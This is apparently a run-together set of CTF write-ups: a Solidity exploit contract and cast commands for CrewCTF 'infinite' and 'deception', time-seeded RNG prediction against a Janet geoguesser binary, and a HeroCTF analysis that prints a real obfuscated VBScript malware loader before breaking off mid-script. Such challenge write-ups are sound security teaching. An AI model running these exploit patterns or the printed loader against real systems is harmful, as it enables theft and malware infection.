GANG.gainRespect(10); STORE.buyCandies(10); } console.log("attacker candy :", CANDY.balanceOf(attacker)); console.log("attacker respect :", RESPECT.balanceOf(attacker)); console.log("attacker respectCount :", STORE.respectCount(attacker)); assertEq(setupContract.isSolved(), true); }}``` ```# forge test --match-path test/test.t.sol -vv[⠘] Compiling...No files changed, compilation skipped Running 1 test for test/test.t.sol:infiniteTest[PASS] testExploit() (gas: 570661)Logs: attacker candy : 10 attacker respect : 0 attacker respectCount : 0 attacker candy : 10 attacker respect : 0 attacker respectCount : 50 Test result: ok. 1 passed; 0 failed; finished in 4.30ms``` It works, so I will write an exploit contract and do it on the actual remote instance ### exploit.sol : ```soliditypragma solidity ^0.8.0; import "./Setup.sol"; contract infiniteExploit { Setup public setupContract; crewToken public CREW; respectToken public RESPECT; candyToken public CANDY; fancyStore public STORE; localGang public GANG; function exploit(address setupAddr) public { setupContract = Setup(setupAddr); CREW = setupContract.CREW(); RESPECT = setupContract.RESPECT(); CANDY = setupContract.CANDY(); STORE = setupContract.STORE(); GANG = setupContract.GANG(); CREW.mint(); CREW.approve(address(STORE), 1); STORE.verification(); CANDY.approve(address(GANG), type(uint256).max); RESPECT.approve(address(STORE), type(uint256).max); for(uint256 i; i < 5; ++i){ GANG.gainRespect(10); STORE.buyCandies(10); } }}``` Then just deploy it and run it : ```# forge create ./src/exploit.sol:infiniteExploit -r http://146.148.125.86:60081/eba8a52e-c839-4091-b2f8-4b0b0428b727 --private-key 0x7a367e755193fe4dd6dd45e54005192978d8127a04145bed6d57659be717cbbc[⠃] Compiling...[⠒] Compiling 1 files with 0.8.20[⠘] Solc 0.8.20 finished in 1.70sCompiler run successful!Deployer: 0xd079b089e18dA8570a34C9fD34b587fa6Eb01835Deployed to: 0xABF7d60E02BA5FC4dA72EE1c6ed323e9078f8A91Transaction hash: 0x8f719aa97bcabf7eb0b783bd5efec377df53a02ab4e9e798bac05202a56f9ae9``` ```# cast send 0xABF7d60E02BA5FC4dA72EE1c6ed323e9078f8A91 "exploit(address)" 0x31e026cee3c39400347d490c5C57E7666B14093c -r http://146.148.125.86:60081/eba8a52e-c839-4091-b2f8-4b0b0428b727 --private-key 0x7a367e755193fe4dd6dd45e54005192978d8127a04145bed6d57659be717cbbc``` Finally, check if we have solved the challenge : ```# cast call 0x31e026cee3c39400347d490c5C57E7666B14093c "isSolved()(bool)" -r http://146.148.125.86:60081/eba8a52e-c839-4091-b2f8-4b0b0428b727true``` ### Flag : ```# nc infinite.chal.crewc.tf 600011 - launch new instance2 - kill instance3 - get flagaction? 3ticket please: REDACTEDThis ticket is your TEAM SECRET. Do NOT SHARE IT!crew{inf1nt3_c4n9i3s_1nfinit3_r3s9ect}```
## Description of the challenge We are given a compiled binary of the [janet-lang](https://janet-lang.org/) interpreter, along with a "compiled" script written in janet-lang. ## Solution So I'll start off by saying that we work cooperatively on some challenges. For example, [zenbassi](https://github.com/Stefan-Radu) also worked heavily on this one. So the writeup author is usually not the only one to credit for the challenge. We run the challenge and it asks us to input some coordinates. We give it ``13.37,4.2`` five times and then it exits, showing us where the answer was in memory:```$ ./janet -i program.jimageWelcome to geoguesser!Where am I? 13.37,4.2Nope. You have 4 guesses left.Where am I? 13.37,4.2Nope. You have 3 guesses left.Where am I? 13.37,4.2Nope. You have 2 guesses left.Where am I? 13.37,4.2Nope. You have 1 guesses left.Where am I? 13.37,4.2You lose!The answer was: <tuple 0x5608A2AF0BC0>```Our first thought was that we had to dump the memory and then just give it the correct answer to decrypt some flag. But then we realized that there is a remote instance, so surely the local instance had no flag. By inspecting the ``program.jimage`` compiled image we were given, we can observe several plaintext artifacts left over. A lot of the artifacts leak information about the modules used in the program. For example, these lines from the hexdump seem to suggest that there might be a random number generator involved:```000002e0: d805 7072 696e 74d7 00cd 00dc 0000 0400 ..print.........000002f0: 0000 030b 0001 ce08 696e 6974 2d72 6e67 ........init-rng00000300: da05 d807 6f73 2f74 696d 65d8 086d 6174 ....os/time..mat00000310: 682f 726e 67da 2d00 0b00 cf08 696e 6974 h/rng.-.....init00000320: 2d72 6e67 2c00 0000 2a02 0000 3301 0200 -rng,...*...3...```Even more interesting is the appearance of ``os/time``. This could mean this is a RNG seeded with the current time. We found that janet has a [disasm](https://janet-lang.org/api/index.html#disasm) functionality. So we can import the program and disassemble any of the called functions.```$ ./janet # --- ENTER JANET REPL --- Janet 1.28.0-358f5a0 linux/x64/gcc - '(doc)' for help# --- IMPORT program.jimage ---repl:1:> (import ./program)@{_ @{:value <cycle 0>} program/compare-coord @{:private true} program/compare-float @{:private true} program/coordinate-peg @{:private true} program/get-guess @{:private true} program/guessing-game @{:private true} program/init-rng @{:private true} program/main @{:private true} program/parse-coord @{:private true} program/precision @{:private true} program/print-flag @{:private true} program/random-float @{:private true} program/rng @{:private true} :macro-lints @[]}# --- DISASSEMBLE program/main ---repl:2:> (disasm program/main){:arity 0 :bytecode @[ (lds 0) (ldc 1 0) (push 1) (ldc 2 1) (call 1 2) (ldc 3 2) (call 2 3) (ldi 3 -90) (ldi 4 90) (push2 3 4) (ldc 4 3) (call 3 4) (ldi 4 -180) (ldi 5 180) (push2 4 5) (ldc 5 3) (call 4 5) (push2 3 4) (mktup 3) (movn 4 3) (push 4) (ldc 6 4) (call 5 6) (jmpno 5 3) (ldc 6 5) (tcall 6) (ldc 6 6) (push 6) (ldc 7 1) (call 6 7) (ldc 6 7) (push2 6 4) (ldc 6 1) (tcall 6)] :constants @["Welcome to geoguesser!" <cfunction print> <function init-rng> <function random-float> <function guessing-game> <function print-flag> "You lose!" "The answer was: "] :defs @[] :environments @[] :max-arity 2147483647 :min-arity 0 :name "main" :slotcount 8 :source "main.janet" :sourcemap @[ (54 1) (55 3) (55 3) (55 3) (55 3) (56 3) (56 3) (57 16) (57 16) (57 16) (57 16) (57 16) (57 38) (57 38) (57 38) (57 38) (57 38) (57 15) (57 15) (57 3) (58 7) (58 7) (58 7) (58 3) (59 5) (59 5) (61 7) (61 7) (61 7) (61 7) (62 7) (62 7) (62 7) (62 7)] :structarg false :symbolmap @[(0 34 0 main) (19 34 4 answer)] :vararg false}```Then we can manually inspect it and assign some meaning to the lines. We used this [page as reference](https://janet-lang.org/docs/abstract_machine.html), describing the instructions of the abstract machine. First, we started with ``program/main``, ``program/init-rng`` and ``program/random-float``. Analysis listed below:```// random-floatconstants [0: @[nil]1: <cfunction math/rng-uniform>] ================================== (lds 2) // $2 = current closure(ldc 3 0) // $3 = constants[0] // [nil](geti 3 3 0) // $3 = $3[0] // nil(push 3) // push $3 args // nil(ldc 4 1) // $4 = constants[1] // rng-uniform(call 3 4) // $3 = (call $4 args) // got random(sub 4 1 0) // $4 = $1 - $0 // arg1 - arg2(mul 5 3 4) // $5 = $3 * $4 // $3 * diff(add 3 0 5) // $3 = $0 + $5 // scaled_diff + arg1(ret 3) // ret $3 // random in [arg1, arg2] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^// init-rng -> returns random number generatorconstants = [0: <cfunction os/time>1: <cfunction math/rng>2: @[nil] ] ================================== (lds 0) $0 = current closure(ldc 2 0) $2 = constants[0] // os/time(call 1 2) $1 = call $2 args(push 1) push args $1(ldc 3 1) $3 = constants[1] // math/rng(call 2 3) $2 = call $3 args(ldc 1 2) $1 = constans[2] // nil?(puti 1 2 0) $1[0] = $2(ldc 1 2) $2 = $1(geti 1 1 0) $1 = $1[0](ret 1) ret $1 // returns generator ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^// mainconstants = [0: "Welcome to geoguesser!"1: <cfunction print>2: <function init-rng>3: <function random-float>4: <function guessing-game>5: <function print-flag>6: "You lose!"7: "The answer was: " ] ==================================== (lds 0) $0 = current closure(ldc 1 0) $1 = constants[0] // 0: "Welcome to geoguesser!"(push 1) push $args $1(ldc 2 1) $2 = constants[1] // 1: <cfunction print>(call 1 2) $1 = call $2 args // print "welcome..."(ldc 3 2) $3 = $2 // 2: <function init-rng>(call 2 3) $2 = call $3 args // gets generator(ldi 3 -90) $3 = -90(ldi 4 90) $4 = 90(push2 3 4) push args $3 $4(ldc 4 3) $4 = constants[3] // random float(call 3 4) *$3 = call $4 args // random float in [-90, 90](ldi 4 -180) $4 = -180(ldi 5 180) $5 = 180(push2 4 5) push args $4 $5(ldc 5 3) $5 = constants[3] // random float(call 4 5) *$4 = call $5 args // random float in [-180, 180](push2 3 4) push args $3 $4(mktup 3) $3 = tuple ($3 $4)(movn 4 3) $4 = $3 // tuple ($3 $4)(push 4) push args $4(ldc 6 4) $6 = constants[4] // guessing game (tuple ($3 $4))(call 5 6) $5 = call $6 args // (jmpno 5 3) if $5 pc++ else pc += 3(ldc 6 5) $6 = constants[5] // print-flag(tcall 6) return call $6 args // print flag(ldc 6 6) $6 = constants[6] // "you lost"(push 6) push args $6(ldc 7 1) $7 = constants[1] // print(call 6 7) $6 = call $7 args // print "you lost"(ldc 6 7) $6 = constants[7] // the answer was(push2 6 4) push args $6 $4(ldc 6 1) $6 = constants[1] // print(tcall 6) return call $6 // print the ans was (tuple ..)```Honestly, we analyzed a bit too much (in fact, we analyzed almost the whole program, check appendix). Really what we needed to see is that ``random-float`` generates a floating point number in a range and that the generator is seeded with the current time. So all you have to do is rewrite the number generation and then pass it to the remote instance. We wrote the following janet script to generate the random numbers with the current time:```(let [t (math/rng (os/time))](printf "%.4f,%.4f" (+ -90 (* 180 (math/rng-uniform t) )) (+ -180 (* 360 (math/rng-uniform t) ))))```Notice how we only assigned the seeded RNG to a variable at the **beginning** of the script. This is very important, because otherwise the RNG will print out different numbers in different instances of it. This was a problem we initially had while solving. So then we write a small, simple pwntools script and get the flag:```py#!/usr/bin/env python3 from pwn import * def send_janet(): print(val) target.sendline(val) print(target.recvline()) #target = process(["./janet", "-i", "program.jimage"])target = remote("geoguesser.chal.uiuc.tf", 1337)val = subprocess.check_output(['janet', 'main.janet'])print(target.recvline())send_janet()send_janet()#send_janet()#send_janet()#send_janet() print(target.recv())```Not sure why, but I had to send the coordinates twice before getting the correct reply. Maybe I'm sending them too fast or something. Running:```$ ./solve.py [+] Opening connection to geoguesser.chal.uiuc.tf on port 1337: Doneb'== proof-of-work: disabled ==\n'b'-52.8000,56.5566\n'b'Welcome to geoguesser!\n'b'-52.8000,56.5566\n'b'Where am I? You win!\n'b'The flag is: uiuctf{wow!_I_cant_believe_its_another_.hidden_flag!!!1}\n'[*] Closed connection to geoguesser.chal.uiuc.tf port 1337``` ## Appendix Here's our full analysis of the program image:```// random-floatconstants [0: @[nil]1: <cfunction math/rng-uniform>] ================================== (lds 2) // $2 = current closure(ldc 3 0) // $3 = constants[0] // [nil](geti 3 3 0) // $3 = $3[0] // nil(push 3) // push $3 args // nil(ldc 4 1) // $4 = constants[1] // rng-uniform(call 3 4) // $3 = (call $4 args) // got random(sub 4 1 0) // $4 = $1 - $0 // arg1 - arg2(mul 5 3 4) // $5 = $3 * $4 // $3 * diff(add 3 0 5) // $3 = $0 + $5 // scaled_diff + arg1(ret 3) // ret $3 // random in [arg1, arg2] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // init-rng -> returns random number generatorconstants = [0: <cfunction os/time>1: <cfunction math/rng>2: @[nil] ] ================================== (lds 0) $0 = current closure(ldc 2 0) $2 = constants[0] // os/time(call 1 2) $1 = call $2 args(push 1) push args $1(ldc 3 1) $3 = constants[1] // math/rng(call 2 3) $2 = call $3 args(ldc 1 2) $1 = constans[2] // nil?(puti 1 2 0) $1[0] = $2(ldc 1 2) $2 = $1(geti 1 1 0) $1 = $1[0](ret 1) ret $1 // returns generator ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^// compare-float -> compares floatsconstants = [0: <cfunction math/abs>]args = [0: a1: b2: tolerance]======================================(lds 3) $3 = current closure(sub 4 0 1) $4 = $0 - $1 // arg0 - arg1 (a - b)(push 4) push args $4(ldc 6 0) $6 = constants[0] // math/abs(call 5 6) $5 = call $6 args(lt 4 5 2) $4 = $5 < $2 ? // true/false(ret 4)// so basically it does// return abs(a - b) < tolerance ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^// compare-coords constants = [0: <cfunction compare-float>]args = [0: a // guess1: b // correct2: tolerance]====================================(lds 3) $3 = current closure(ldi 5 0) $5 = 0(get 4 0 5) $4 = $0[$5] // guess[0](ldi 6 0) $6 = 0(get 5 1 6) $5 = $1[$6] // correct[0](push3 4 5 2) Push $4, $5, $2, on args // guess[0], correct[0], tolerance(ldc 7 0) $7 = compare-float(call 6 7) $6 = call compare-float on args(movn 4 6) $4 = $6(jmpno 6 8) if $6 pc++ else pc += 8 // exit if not true(ldi 7 1)(get 5 0 7) $5 = $0[1] // guess[1](ldi 8 1) $8 = 1(get 7 1 8) $7 = $1[1] // correct[1](push3 5 7 2) Push $5, $7, $2, on args // guess[1], correct[1], tolerance(ldc 8 0)(tcall 8) return compare-float result(ret 4) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^// guessing-gameconstants = [0: <function get-guess>1: 0.00012: <function compare-coord>3: <cfunction not>4: "Nope. You have "5: " guesses left." 6: <cfunction print>]args = [0: answer1: guessing-game2: guess3: remaining]==================================== (lds 1) $1 = closure(ldc 3 0) $3 = get-guess(call 2 3) $2 = get-guess()(movn 3 2) $3 = $2(ldi 4 4) $4 = 4(ldc 6 1) $6 = 0.0001 // constants[1](push3 3 0 6) Push $3, $0, $6 // guess, answer, precision(ldc 7 2) $7 = compare-coord(call 6 7) $6 = compare-coord(stack_stuff)(push 6) Push $6 // true/false(ldc 8 3) $8 = func-not(call 7 8) $7 = !compare-coord()(movn 6 7) $6 = $7(jmpno 7 4) if $7 pc++ else pc += 4 // if not correct else jump 4(gtim 8 4 0) $8 = $4 > 0 // rem_guesses > 0 ?????(movn 5 8) $5 = $8(jmp 2) jump 2(movn 5 6) $5 = $6 // !compare-coord()(jmpno 5 10) if $5 pc++ else pc += 10 // if not correct or out of guesses jump 10 BIG JUMP OUT OF LOOP -------->(ldc 6 4) $6 = "Nope."(ldc 7 5) $7 = "guesses left"(push3 6 4 7) push $6, $4, $7 // "Nope you have " x " guesses left(ldc 7 6) $7 = print(call 6 7) $6 = print()(addim 4 4 -1) $4 = $4 - 1 // decrease remaining(ldc 6 0) $6 = get-guess(call 3 6) $3 = get-guess()(jmp -22) loop back(ldc 5 1) 5 = precision // JUMP HERE <----------------------------------------------------------------------(push3 3 0 5) push $3, $0, $5 // guess, answer, precision(ldc 5 2) $5 = compare-coords(tcall 5) ret compare-coords() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // mainconstants = [0: "Welcome to geoguesser!"1: <cfunction print>2: <function init-rng>3: <function random-float>4: <function guessing-game>5: <function print-flag>6: "You lose!"7: "The answer was: " ] ==================================== (lds 0) $0 = current closure(ldc 1 0) $1 = constants[0] // 0: "Welcome to geoguesser!"(push 1) push $args $1(ldc 2 1) $2 = constants[1] // 1: <cfunction print>(call 1 2) $1 = call $2 args // print "welcome..."(ldc 3 2) $3 = $2 // 2: <function init-rng>(call 2 3) $2 = call $3 args // gets generator(ldi 3 -90) $3 = -90(ldi 4 90) $4 = 90(push2 3 4) push args $3 $4(ldc 4 3) $4 = constants[3] // random float(call 3 4) *$3 = call $4 args // random float in [-90, 90](ldi 4 -180) $4 = -180(ldi 5 180) $5 = 180(push2 4 5) push args $4 $5(ldc 5 3) $5 = constants[3] // random float(call 4 5) *$4 = call $5 args // random float in [-180, 180](push2 3 4) push args $3 $4(mktup 3) $3 = tuple ($3 $4)(movn 4 3) $4 = $3 // tuple ($3 $4)(push 4) push args $4(ldc 6 4) $6 = constants[4] // guessing game (tuple ($3 $4))(call 5 6) $5 = call $6 args // (jmpno 5 3) if $5 pc++ else pc += 3(ldc 6 5) $6 = constants[5] // print-flag(tcall 6) return call $6 args // print flag(ldc 6 6) $6 = constants[6] // "you lost"(push 6) push args $6(ldc 7 1) $7 = constants[1] // print(call 6 7) $6 = call $7 args // print "you lost"(ldc 6 7) $6 = constants[7] // the answer was(push2 6 4) push args $6 $4(ldc 6 1) $6 = constants[1] // print(tcall 6) return call $6 // print the ans was (tuple ..)
# CrewCTF 2023 - deception [12 solves / 957 points] [First blood ?] Our goal is to set `solved` to true in the deception contract ### Setup.sol :```soliditypragma solidity ^0.8.13; import "./Deception.sol"; contract Setup { deception public immutable TARGET; constructor() payable { TARGET = new deception(); } function isSolved() public view returns (bool) { return TARGET.solved(); }}``` ### Deception.sol :```solidity// Contract that has to be displayed for challenge // SPDX-License-Identifier: MITpragma solidity ^0.8.10; contract deception{ address private owner; bool public solved; constructor() { owner = msg.sender; solved = false; } modifier onlyOwner() { require(msg.sender==owner, "Only owner can access"); _; } function changeOwner(address newOwner) onlyOwner public{ owner = newOwner; } function password() onlyOwner public view returns(string memory){ return "secret"; } function solve(string memory secret) public { require(keccak256(abi.encodePacked(secret))==0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b, "invalid"); solved = true; }}``` We need to find the preimage of `0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b`, there's a view function `password()` that return "secret" So just hash it and we will see that "secret" is the preimage we need```➜ keccak256(abi.encodePacked("secret"))Type: bytes32└ Data: 0x65462b0520ef7d3df61b9992ed3bea0c56ead753be7c8b3614e0ce01e4cac41b``` However, it reverts if I call solve() with "secret" : ```# cast send 0xd92edc2A2cec7387d1bA68853f56B181e58f25Ee "solve(string)" "secret" -r http://146.148.125.86:60082/e317e7f0-6a27-4869-9cc9-e740bc6a1419 --private-key 0x7f425a14aa09dcc2d183ee3c6602dbe03eb919d1df05b8df26d82aea7888a44cError: (code: 3, message: execution reverted: invalid, data: Some(String("0x08c379a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000007696e76616c696400000000000000000000000000000000000000000000000000")))``` As the name of this challenge is "deception", so I call `password()` on the deployed contract as the owner to see if it is the same as the source we have ```# cast call 0xd92edc2A2cec7387d1bA68853f56B181e58f25Ee "password()(string)" -r http://146.148.125.86:60082/e317e7f0-6a27-4869-9cc9-e740bc6a1419 --from 0x3bb575846325074A559b1EFBAfEB5F623C30e811xyzabc``` Instead of "secret", it returns "xyzabc", so just call `solve()` with "xyzabc" ```# cast send 0xd92edc2A2cec7387d1bA68853f56B181e58f25Ee "solve(string)" "xyzabc" -r http://146.148.125.86:60082/e317e7f0-6a27-4869-9cc9-e740bc6a1419 --private-key 0x7f425a14aa09dcc2d183ee3c6602dbe03eb919d1df05b8df26d82aea7888a44c blockHash 0x23f7134f43f8029b4014735441f0cf30be28abbfe0ef50d84f6d416508ea93dablockNumber 17656779contractAddress cumulativeGasUsed 27514effectiveGasPrice 3000000000gasUsed 27514logs []logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000root status 1transactionHash 0x5fe8f92b15f771145cc2c51840aaed9b568a15039549d3bc889bfbedc4bdc3e6transactionIndex 0type 2``` Then we can verify that we have solved the challenge : ```# cast call 0x3bb575846325074A559b1EFBAfEB5F623C30e811 "isSolved()(bool)" -r http://146.148.125.86:60082/e317e7f0-6a27-4869-9cc9-e740bc6a1419true``` ### Flag : ```# nc deception.chal.crewc.tf 600021 - launch new instance2 - kill instance3 - get flagaction? 3ticket please: REDACTEDThis ticket is your TEAM SECRET. Do NOT SHARE IT!crew{d0nt_tru5t_wh4t_y0u_s3e_4s5_50urc3!}```
# Give My Money Back ## Background Joel sat at his desk, staring at the computer screen in front of her. She had just received a strange email from an unknown sender. Joel was intrigued. She hesitated for a moment, wondering if she should open the email or not. But her curiosity got the best of her, and she clicked on the message. Your goal is to help Joel find out who stole her money! **Warning : The attached archive contains real malware, do not run it on your machine!** Archive password: infected The flag corresponds to the email used for the exfiltration and the name of the last exfiltrated file, e.g. Hero{[[email protected]](mailto:[email protected])|passwords.txt}. Format : **Hero{email|filename}** Author : **xanhacks** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230514160558.png) ## Find the flag **In this challenge, we can download a [file](https://github.com/siunam321/CTF-Writeups/blob/main/HeroCTF-v5/Reverse/Give-My-Money-Back/GiveMyMoneyBack.zip):**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:06:12(HKT)]└> file GiveMyMoneyBack.zip GiveMyMoneyBack.zip: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted``` **After extracted, we see this file:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:07:30(HKT)]└> file edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb: Microsoft Cabinet archive data, many, 15058 bytes, 2 files, at 0x2c last modified Sun, Oct 14 2022 20:24:26 +A "description.txt" last modified Sun, Dec 08 2022 01:49:26 +A "image.png.vbs", ID 2849, number 1, 9 datablocks, 0x1203 compression``` **Microsoft Cabinet archive data?** > A cabinet is a single file, usually with a `.cab` extension, that stores compressed files in a file library. The cabinet format is an efficient way to package multiple files because compression is performed across file boundaries, which significantly improves the compression ratio. **Let's rename the extracted file:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:07:33(HKT)]└> mv edf576f75abda49a095ab28d8a822360387446ff3254544ae19c991a33125feb stage1.cab``` **To extract `.cab` file, we can use `cabextract`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:09:26(HKT)]└> cabextract stage1.cabExtracting cabinet: stage1.cab extracting description.txt extracting image.png.vbs All done, no errors.``` **Nothing weird in `description.txt`:**```shell┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Reverse/Give-My-Money-Back)-[2023.05.14|16:09:27(HKT)]└> cat description.txt | uniqsorry server is no longer availablesorry server is no longer available``` ## Deobfuscation **However, in `image.png.vbs`, it's a VBScript:**```vbdIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSpSub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXSJJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyPFWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))NEXTlxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmDend SUbSUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmDeval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))enD sUBFnCtqZiRWLtyCeayCzQdIrDKqrIZAkwRIzBsCpRXs``` Oh boi, it's obfuscated. **Since this challenge's description said that this is a real malware, I'll deobfuscate it manually.** **In line 1, it declares 3 variables:**```vbdIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp``` **Then, in line 2 - 9, it has a function:**```vbSub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXSJJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyPFWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))NEXTlxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmDend SUb``` **We can rename the `JJKMpKZNvhsgPgMvldVBVGoiMRERTqiAEdIOcFNqY` variable to strings of numbers:**```vbdIM stringsOfNumbers, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSpSub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXSstringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(stringsOfNumbers, chr(eVaL(75684/1802)))for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyPFWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))NEXTlxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmDend SUb``` **Next, we can see that the `axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp` variable is spliting the `stringsOfNumbers` with delimiter `*` (`chr(eVaL(75684/1802))` = `*`). So, let's rename it!**```vbdIM stringsOfNumbers, splitedStringsOfNumbers, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSpSub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXSstringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In splitedStringsOfNumbersFWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))NEXTlxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmDend SUb``` After splited, it'll loop through every index in the `splitedStringsOfNumbers` array, which will again convert those numbers to a character. **Hence, we can rename those variables!**```vbdIM stringsOfNumbers, splitedStringsOfNumbers, evaledStringsOfNumbersSub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXSstringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")for each number In splitedStringsOfNumbersevaledStringsOfNumbers = evaledStringsOfNumbers & Chr(eVaL(number))NEXTlxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmDend SUb``` It's much more clear now! **After that for loop, it'll invoke function `lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD`:**```vbSUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmDeval(eXecUTe(evaledStringsOfNumbers))enD sUB``` **Which executes the payload. (DO NOT RUN THIS EVAL)** **So, after all the renames, the deobfucasted VBScript is this:**```vbdIM stringsOfNumbers, splitedStringsOfNumbers, evaledStringsOfNumbersSub functionSplitStringsOfNumbersstringsOfNumbers = "399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-7600*463-352*1137720/9980*214336/6698*-5139+5253*8037-7936*297045/2583*[...]*2065-2024"splitedStringsOfNumbers = splIt(stringsOfNumbers, "*")for each number In splitedStringsOfNumbersevaledStringsOfNumbers = evaledStringsOfNumbers & Chr(eVaL(number))NEXTevalPayloadend SUbSUb evalPayloadeval(eXecUTe(evaledStringsOfNumbers))enD sUBfunctionSplitStringsOfNumbers``` **Now, we can convert the above script to Python:**```python#!/usr/bin/env python3 def functionSplitStringsOfNumbers(): global evaledStringsOfNumbers evaledStringsOfNumbers = '' stringsOfNumbers = '399711/3601*702350/6385*8573-8541*847693/8393*7119-7005*7714-[...]*2065-2024' splitedStringsOfNumbers = 